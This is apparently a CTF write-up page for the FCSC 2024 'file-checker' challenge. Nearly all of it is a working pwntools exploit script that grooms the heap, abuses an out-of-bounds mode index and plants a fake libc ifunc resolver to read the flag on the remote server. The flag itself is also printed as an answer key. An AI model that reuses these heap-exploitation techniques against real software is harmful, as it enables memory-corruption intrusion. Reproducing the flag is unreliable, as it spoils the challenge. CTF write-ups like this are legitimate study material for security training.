/..

#CONTENT

#TOP

chal
2 MiB2024-04-23 06:01
exploit
19 MiB2024-04-23 06:01
file-checker-src.tar.xz
845 KiB2024-04-23 06:01
README.mdx
849 bytes2024-04-23 07:21

#file-checker

This was a really interesting challenge from fcsc-2024 that had a total of two solves by the end of the ctf. I did not solve the challenge during the ctf, but after the ctf I was talking to one of the solvers @skuuk about an alternate solution.

#my solution abusing ifunc symbol resolution

exploit/solve.py
PY
from pwn import *
from fake import fake_libc_resolver
import os

os.environ.setdefault("LD_BIND_NOW", "1")
context.terminal = ["kitty"]
gdbscript = """
set **(char[64] **)($rsp + 24) = "GCONV_PATH=/usr/lib/gconv"
c
"""

if args.REMOTE:
    p = remote("nc challenges.france-cybersecurity-challenge.fr", 2101)
elif args.GDB:
    p = gdb.debug("./patched", gdbscript=gdbscript)

def select(choice: int):
    p.sendlineafter(b"> ", f"{choice}".encode())

def send_integer(idx: int):
    p.sendlineafter(b":", f"{idx}".encode())

def prepare_file(idx: int, size: int, data: bytes):
    select(1)
    send_integer(idx)
    send_integer(size)
    p.sendafter(b": ", data)

def clean_file(idx: int):
    select(2)
    send_integer(idx)

def handle_file(idx: int, mode: int):
    select(3)
    send_integer(idx)
    send_integer(mode)

modes = 0x00103d10
files = 0x00104060

out_of_bounds_mode = (files - modes) // 8 + 1

pages = 400

prepare_file(0, 128, b"r,ccs=NC_NC00-10\n")
prepare_file(1, 128, b"./flag.txt\n")
prepare_file(2, pages * 4096, b"meow\n")
clean_file(2)

fake_length = 0x24000
threshold = fake_length + (pages + 1) * 4096

payload = b"mr".ljust(0xff0 - 1, b"o") + b"w"
payload += p64(0)
payload += p64(threshold | 2)
payload += b"\n"
prepare_file(3, (pages + 1) * 4096, payload)
clean_file(2)
prepare_file(3, threshold, b"\n")
clean_file(3)
threshold += 0x1000

payload = b"tee".ljust(0xff0 - 2, b"e") + b"mo"
payload += p64(0)
payload += p64(threshold + 0x1000 | 2)
payload += b"\n"
prepare_file(4, threshold, payload)
clean_file(3)
threshold += 0x1000

log.info(f"threshold = {threshold:#x}")

payload = b"Z" * (threshold - fake_length + 0x1000 - 16)
payload += fake_libc_resolver(b"free\x00")
payload += b"\n"
prepare_file(4, threshold, payload)

log.info(f"mode = {out_of_bounds_mode}")

handle_file(1, out_of_bounds_mode)

p.interactive()

FCSC{93aa742b341b591bb4a6cad5c1b9c63ba382ec6f8dd373ca82fd7c777443fe44}

Below are the writeups from the people who solved during the ctf, I highly recommend reading them as well.

#@skuuk's solution

https://github.com/5kuuk/CTF-writeups/tree/main/fcsc24/file_checker

#@voydstack's solution

https://github.com/voydstack/FCSC2024/tree/main/file-checker